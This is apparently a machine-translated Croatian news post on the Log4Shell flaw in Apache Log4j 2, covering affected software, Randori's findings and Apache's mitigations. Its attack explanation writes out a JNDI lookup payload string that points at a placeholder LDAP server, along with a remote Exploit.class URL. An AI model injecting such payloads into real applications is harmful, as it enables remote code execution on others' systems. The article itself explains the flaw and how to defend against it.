Log4Shell, kritična ranjivost u Apache Log4j 2 koja utječe na mnoge Java projekte

Nedavno se je objavio vijest da je u Apache Log4j 2 identificirana kritična ranjivost, koji je okarakteriziran kao popularan okvir za organiziranje registra u Java aplikacijama, koji dopušta izvršavanje proizvoljnog koda kada se posebno formatirana vrijednost upiše u registar u formatu "{jndi: URL}".

Ranjivost Značajno je jer se napad može izvesti u Java aplikacijama kojeOni bilježe vrijednosti dobivene iz vanjskih izvora, na primjer, prikazujući problematične vrijednosti u porukama o pogreškama.

Primjećuje se da gotovo svi projekti koji koriste okvire poput Apache Struts, Apache Solr, Apache Druid ili Apache Flink su pogođeni, uključujući Steam, Apple iCloud, Minecraft klijente i poslužitelje.

Očekuje se da će ranjivost dovesti do vala masivnih napada na poslovne aplikacije, ponavljajući povijest kritičnih ranjivosti u okviru, Apache Struts, što je gruba procjena koja se koristi u 65% web aplikacija s liste Fortune 100. Popis web aplikacija tvrtke uključuje već zabilježene pokušaje skeniranja mreže u potrazi za ranjivim sustavima.

Ranjivost omogućuje daljinsko izvršavanje neovlaštenog koda. Log4j 2 je Java biblioteka dnevnika otvorenog koda koju je razvila Apache Foundation. Log4j 2 se široko koristi u mnogim aplikacijama i prisutan je, kao ovisnost, u mnogim uslugama. To uključuje poslovne aplikacije kao i brojne usluge u oblaku.

Randori tim za napade razvio je funkcionalni exploit i uspio je uspješno iskoristiti ovu ranjivost u okruženjima korisnika kao dio naše ofenzivne sigurnosne platforme. 

Ranjivosti se može pristupiti kroz mnoštvo metoda specifičnih za aplikaciju. Doista, svaki scenarij koji omogućuje udaljenu vezu za isporuku proizvoljnih podataka koje aplikacija koja koristi biblioteku Log4j zapisuje u datoteke dnevnika podložan je iskorištavanju. Velika je vjerojatnost da će se ova ranjivost iskoristiti u divljini i vjerojatno će utjecati na tisuće organizacija. Ova ranjivost predstavlja značajan stvarni rizik za pogođene sustave.

Problem je otežan činjenicom da je funkcionalni exploit već objavljen, npr.Ali popravci za stabilne grane još nisu generirani. CVE identifikator još nije dodijeljen. Rješenje je uključeno samo u testnu granu log4j-2.15.0-rc1. Kao zaobilazno rješenje za blokiranje ranjivosti, preporuča se postaviti parametar Log4j2.formatMsgNoLookups na true.

problem to je bilo zbog činjenice da Log4j 2 podržava rukovanje posebnim maskama «{}» u redovima dnevnika, u kojem JNDI upiti se mogu pokrenuti (Java sučelje imenovanja i imenika).

Analizirajući CVE-2021-44228, Randori je utvrdio sljedeće:

Zadane instalacije široko korištenog poslovnog softvera su ranjive.
Ranjivost se može pouzdano iskoristiti i bez provjere autentičnosti.
Ranjivost utječe na više verzija Log4j 2.
Ranjivost omogućuje daljinsko izvršavanje koda kada korisnik pokrene aplikaciju pomoću biblioteke.

Napad se svodi na prosljeđivanje niza sa zamjenom "$ {jndi: ldap: //example.com/a}", obrada koje će Log4j 2 poslati LDAP zahtjev za put do Java klase poslužitelju napadača. . Put koji vraća napadačev poslužitelj (na primjer, http://example.com/Exploit.class) učitat će se i izvršiti u kontekstu trenutnog procesa, omogućujući napadaču da postigne proizvoljno izvršenje koda na sustavu s pravima trenutne aplikacije.

Napokon se spominje da ako se pronađu abnormalnosti, preporuča se da pretpostavite da se radi o aktivnom incidentu, da je kompromitiran i da u skladu s tim reagirate. Nadogradnja na zakrpljene verzije Log4j 2 ili zahvaćenih aplikacija uklonit će ovu ranjivost. Randori preporučuje svakoj organizaciji za koju misli da bi mogla biti pogođena hitno nadograditi na zakrpljenu verziju.

U najnovijem ažuriranju Apache Log4j tima, preporučiti organizacijama da učine sljedeće

  • Ažurirajte na Log4j 2.15.0
  • Za one koji ne mogu nadograditi na 2.15.0: U verzijama> = 2.10, ova se ranjivost može ublažiti postavljanjem svojstva sustava log4j2.formatMsgNoLookup ili varijable okruženja LOG4J_FORMAT_MSG_NO_LOOKUPS na true.
  • Za verzije 2,0-beta9 do 2.10.0, ublažavanje je uklanjanje klase JndiLookup iz staze klase: zip -q -d log4j-core - *. Jar org / apache / logging / log4j / core / lookup /JndiLookup.class.

izvor: https://www.lunasec.io/


Ostavite svoj komentar

Vaša email adresa neće biti objavljen. Obavezna polja su označena s *

*

*

  1. Za podatke odgovoran: Miguel Ángel Gatón
  2. Svrha podataka: Kontrola neželjene pošte, upravljanje komentarima.
  3. Legitimacija: Vaš pristanak
  4. Komunikacija podataka: Podaci se neće dostavljati trećim stranama, osim po zakonskoj obvezi.
  5. Pohrana podataka: Baza podataka koju hostira Occentus Networks (EU)
  6. Prava: U bilo kojem trenutku možete ograničiti, oporaviti i izbrisati svoje podatke.